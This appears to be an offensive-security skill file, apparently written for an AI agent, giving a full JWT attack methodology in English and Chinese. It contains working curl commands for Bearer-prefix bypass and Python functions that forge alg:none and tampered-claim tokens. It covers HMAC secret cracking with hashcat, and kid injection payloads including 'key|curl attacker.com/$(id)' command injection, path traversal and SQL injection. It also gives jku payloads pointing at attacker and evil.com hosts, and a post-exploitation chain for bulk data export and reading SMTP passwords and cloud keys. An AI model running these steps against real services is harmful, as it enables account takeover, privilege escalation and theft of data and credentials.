| name | jwt-attack |
| description | JWT (JSON Web Token) attack methodology. Covers Bearer removal bypass, algorithm confusion (alg:none / RS256→HS256 / empty sig), secret brute force with public wordlists + JS-extracted keywords, kid/jku/jwk header injection, claims manipulation, cross-service token reuse, JWKS endpoint analysis, and multi-role privilege escalation with post-exploitation chain.
|
| metadata | {"tags":"jwt,bearer,alg-none,secret-brute-force,kid-injection,jku,jwks,claims","category":"offensive-security"} |
JWT Attack — Full Methodology
0. Test Priority Matrix (按成功率排序)
Priority 1 — 最快、无工具依赖
├── Bearer 移除: 5秒,纯 curl
├── alg:none: 10秒,base64 改 header
├── 空签名: 同上,直接删签名部分
├── 声明篡改: 改 payload 里的 role/userId,不改签名
└── 换 Header 投递: 把 token 放到 X-Auth-Token / Cookie
Priority 2 — 需要工具,10-30分钟
├── Secret 爆破: jwt.secrets.list + JS 关键字
├── kid 路径穿越: 读 /dev/null 实现 alg:none
├── RS256→HS256: 需要公钥(从 JWKS 端点拿)
Priority 3 — 特定场景
├── jku 注入: 需要托管自己的 JWKS
├── jwk 内嵌: 同上,自签 key 嵌入 header
├── 跨服务重用: 同一 token 打不同微服务
└── JWKS 私钥泄露: /.well-known/jwks.json 里有 d 参数
Attack Surface
JWT vulnerabilities exist when the server:
- Does not properly validate the "Bearer" prefix
- Trusts the
alg header from the client
- Uses a weak/guessable secret for HMAC signing
- Allows kid/jku/jwk header injection
- Does not validate token claims (exp, aud, iss, role)
- Reuses the same JWT validation logic across microservices
- Exposes key material via JWKS endpoint
1. Bearer Removal Bypass
Scenario: Multi-role platform (user/admin). Normal user's token gets
401/403 on admin endpoints. Server may have flawed middleware that
checks the Authorization header differently with/without "Bearer" prefix.
curl -s https://target/api/admin/users \
-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "Authorization: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "Authorization: bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "X-Auth-Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "X-API-Key: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s https://target/api/admin/users \
-H "Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -s "https://target/api/admin/users?token=eyJh..."
curl -s -X POST https://target/api/admin/users \
-H "Content-Type: application/json" \
-d '{"token":"eyJh..."}'
Why this works: Some middleware frameworks have separate logic for
"authenticated user" vs "role check". The Bearer prefix may trigger a
role validation path, while the bare token bypasses it and falls back
to a less strict check. Common in custom API gateway implementations.
2. Algorithm Confusion
2a. alg:none (remove signature entirely)
import base64, json
def jwt_none(token):
"""Strip signature by setting alg to none."""
header_b64, payload_b64, _ = token.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
return f"{new_header}.{payload_b64}."
2b. Empty Signature (不设 alg:none,直接删签名)
有些库检查 alg 值为 none 时会拒绝,但只要签名部分为空就通过。
curl https://target/api/admin/users \
-H "Authorization: Bearer eyJhbG...header.eyJzdW...payload."
2c. No Algorithm Specified
部分库在 header 中没有 alg 字段时默认跳过验证:
{"typ": "JWT"}
2d. Algorithm Case Variations
"alg": "None" → Python PyJWT 某些版本
"alg": "NONE" → 某些 Java 实现
"alg": "nOnE" → 混合大小写绕过简单字符串比较
2e. RS256 → HS256 (public key as HMAC secret)
When the server uses RS256 (asymmetric) but accepts HS256 (symmetric),
the public key can be used as the HMAC secret to forge tokens.
curl https://target/.well-known/jwks.json
3. Secret Brute Force
Step 1: Download public wordlist
curl -sL https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list \
-o jwt.secrets.list
wc -l jwt.secrets.list
Step 2: Collect JS-extracted keywords
From the recon phase, collect sensitive values found in JS files:
apiKey, secretKey, secret, key, password, token, private_key
AES_KEY, ENCRYPTION_KEY, JWT_SECRET, SIGNING_KEY
Any hardcoded string values found in config objects
Build a custom dictionary from these:
cat jwt.secrets.list js_keywords.txt | sort -u > jwt_combined.txt
Step 3: Crack
hashcat -m 16500 jwt_token.txt jwt_combined.txt --rules best64.rule
python3 jwt_tool.py <JWT_TOKEN> -C -d jwt_combined.txt
john jwt_token.txt --wordlist=jwt_combined.txt
Step 4: Verify cracked secret
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "cracked_secret"
curl https://target/api/admin/users \
-H "Authorization: Bearer <FORGED_TOKEN>"
4. kid (Key ID) Injection
The kid header tells the server which key to use for verification.
Poorly implemented servers may be vulnerable to injection in the kid parameter.
{"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"}
{"alg": "HS256", "typ": "JWT", "kid": "../../../etc/hostname"}
{"alg": "HS256", "typ": "JWT", "kid": "1' UNION SELECT 'my_secret_key'--"}
{"alg": "HS256", "typ": "JWT", "kid": "key; whoami"}
{"alg": "HS256", "typ": "JWT", "kid": "key|curl attacker.com/$(id)"}
{"alg": "HS256", "typ": "JWT", "kid": "valid_key%00.sql"}
5. jku / jwk Header Injection
5a. jku (JWK Set URL) — 让服务器去你的域名取公钥
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json"
}
利用条件: 服务器从 jku URL 取 JWKS,且该 URL 未被白名单限制。
"jku": "https://target.com.evil.com/jwks.json"
"jku": "https://target.com@evil.com/jwks.json"
"jku": "https://evil.com/target.com/jwks.json"
5b. jwk (Embedded JWK) — 直接把公钥嵌在 header 里
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "0vx7agoebGcQ...",
"e": "AQAB"
}
}
利用: 部分库在 jwk 存在时会优先使用内嵌的公钥,而不去验证该公钥是否可信。用自己的私钥签名 → 公钥嵌入 jwk → 服务器用该公钥验证。
6. Claims Manipulation(声明篡改)
核心思路: 不改签名,只改 payload 中的权限声明,赌服务器不验证签名或验证有缺陷。
改 role/scope 提权
import base64, json
def modify_claims(token, new_claims):
header_b64, payload_b64, sig = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
payload.update(new_claims)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
return f"{header_b64}.{new_payload}.{sig}"
new_token = modify_claims(original_token, {
"role": "admin",
"is_admin": True,
"scope": "*",
"userId": 1,
})
常见可篡改字段
role / roles / group / groups / permission / permissions
is_admin / isAdmin / admin
scope / scopes
userId / user_id / sub / aud
level / tier / type
organization / org_id / tenant / tenant_id
不验证的声明
exp — 服务器可能不检查过期时间
nbf — 同上
iat — 签发时间
iss — 签发者
jti — JWT ID (用于防重放,但不检查就废了)
7. Cross-Service Token Reuse(跨服务令牌重用)
微服务架构中,同一个 JWT 可能在多个服务之间传递。A 服务的 token 可能在 B 服务上也有效。
for svc in api-user api-order api-payment api-notification \
internal-api admin-api; do
echo "=== $svc ==="
curl -s https://target/${svc}/users \
-H "Authorization: Bearer $TOKEN" | head -5
done
8. JWKS Endpoint Analysis
/.well-known/jwks.json 可能泄露关键信息:
curl -s https://target/.well-known/jwks.json | python -m json.tool
检查清单
□ 检查是否包含 "d" 字段 — 私钥泄露! (严重)
□ 检查 "kid" 值 — 可能暴露内部命名/路径
□ 检查是否有多个 key — 可能对应不同环境/租户
□ 尝试其他常见路径:
/.well-known/openid-configuration
/jwks.json
/api/jwks
/auth/jwks
/v1/jwks
9. Post-Exploitation Chain(拿到身份后的攻击闭环)
拿到 admin 级别 token 后,不要停——回注到之前发现的所有端点:
┌────────────────────────────────────────────────────────────┐
│ JWT 攻击闭环 — 与前序阶段联动 │
├────────────────────────────────────────────────────────────┤
│ │
│ Phase 1 Recon: JS 提取关键字 → 喂给 JWT 爆破字典 │
│ │ │
│ ▼ │
│ Phase 2 API Fuzz: 发现的需要认证的端点清单 │
│ │ │
│ ▼ │
│ Phase 3 Bypass: JWT 爆破成功 → 伪造 admin token │
│ │ │
│ ▼ │
│ [闭环] 用 admin token 重新打 Phase 2 的所有端点: │
│ □ 所有之前 401/403 的端点 → 现在可能 200 │
│ □ 导出类接口 (*/export, */download) → 全量数据泄露 │
│ □ 管理类接口 (*/admin/*, */manage/*) → 垂直越权确认 │
│ □ 用户列表接口 → 提取更多 userId → 扩大 IDOR 范围 │
│ □ 配置接口 → 读取系统配置、SMTP 密码、AK/SK │
│ │
│ [链式] 新发现的敏感数据 → 回注到 Phase 0 源泄露搜索 │
│ │ (用新发现的内部路径/配置字段搜索 GitHub/Gitee) │
│ ▼ │
│ 形成闭环: 低权限用户 → JWT爆破 → admin → 全量数据 │
│ → 源泄露扩大 → 发现更多凭据 → 更广攻击面 │
└────────────────────────────────────────────────────────────┘
10. Quick Test Checklist (Full)
=== Priority 1: 30秒内完成 ===
□ 解码 JWT payload: echo "token" | cut -d'.' -f2 | base64 -d
□ Bearer 移除: 去掉 "Bearer " 前缀 → 裸 token
□ Bearer 变体: bearer / BEARER / 多余空格
□ 换 header: X-Auth-Token / X-API-Key / Cookie / ?token=
□ alg:none + 移除签名
□ 空签名: header.payload. (尾部带点)
□ 删除 alg 字段 + 移除签名
=== Priority 2: 声明篡改 (不改签名) ===
□ 查看 payload 中是否有 role/isAdmin/scope 字段
□ 尝试修改 role → admin, is_admin → true, userId → 1
□ 保持原签名不变,只改 payload 的 base64
□ 用修改后的 token 打管理接口
=== Priority 3: 密码学攻击 ===
□ Download jwt.secrets.list (wallarm)
□ 从 JS 提取关键字合并字典
□ hashcat -m 16500 爆破 HMAC secret
□ RS256→HS256: 从 jwks.json 取公钥当 secret
=== Priority 4: Header 注入 ===
□ kid 路径穿越: ../../../../dev/null
□ kid SQL 注入: 1' UNION SELECT 'key'--
□ jku 注入: 指向自己的 JWKS 端点
□ jwk 内嵌: 嵌入自签 RSA 公钥
□ 尝试算法变体: None / NONE / nOnE
=== Priority 5: 环境分析 ===
□ 访问 /.well-known/jwks.json → 检查私钥泄露
□ 访问 /.well-known/openid-configuration
□ 跨服务测试: 同一 token 打不同微服务
□ 过期 token 测试: 用已过期的 token 请求
□ 查看 token 在 JS/响应/日志中的泄露
=== Post-Exploitation (拿到身份后) ===
□ Admin token → 重打所有 Phase 2 发现的端点
□ 导出接口 (/export/* /download/*) → 全量数据
□ 管理接口 (/admin/* /manage/*) → 垂直越权确认
□ 用户列表 → 提取更多 ID → 扩大 IDOR
□ 配置接口 → 读取 AK/SK / SMTP 密码
□ 新发现的敏感数据 → 回注源泄露搜索
Tools
python3 jwt_tool.py <token> -M at
python3 jwt_tool.py <token> -T
python3 jwt_tool.py <token> -C -d dict.txt
python3 jwt_tool.py <token> -X k
hashcat -m 16500 jwt.txt wordlist.txt --rules best64.rule
npx jwt-cracker <token> <wordlist>
echo "<token>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python -m json.tool
python3 -c "
import base64,json
h,p,s = '<TOKEN>'.split('.')
pl = json.loads(base64.urlsafe_b64decode(p+'=='))
pl['role'] = 'admin'
np = base64.urlsafe_b64encode(json.dumps(pl).encode()).rstrip(b'=').decode()
print(f'{h}.{np}.{s}')
"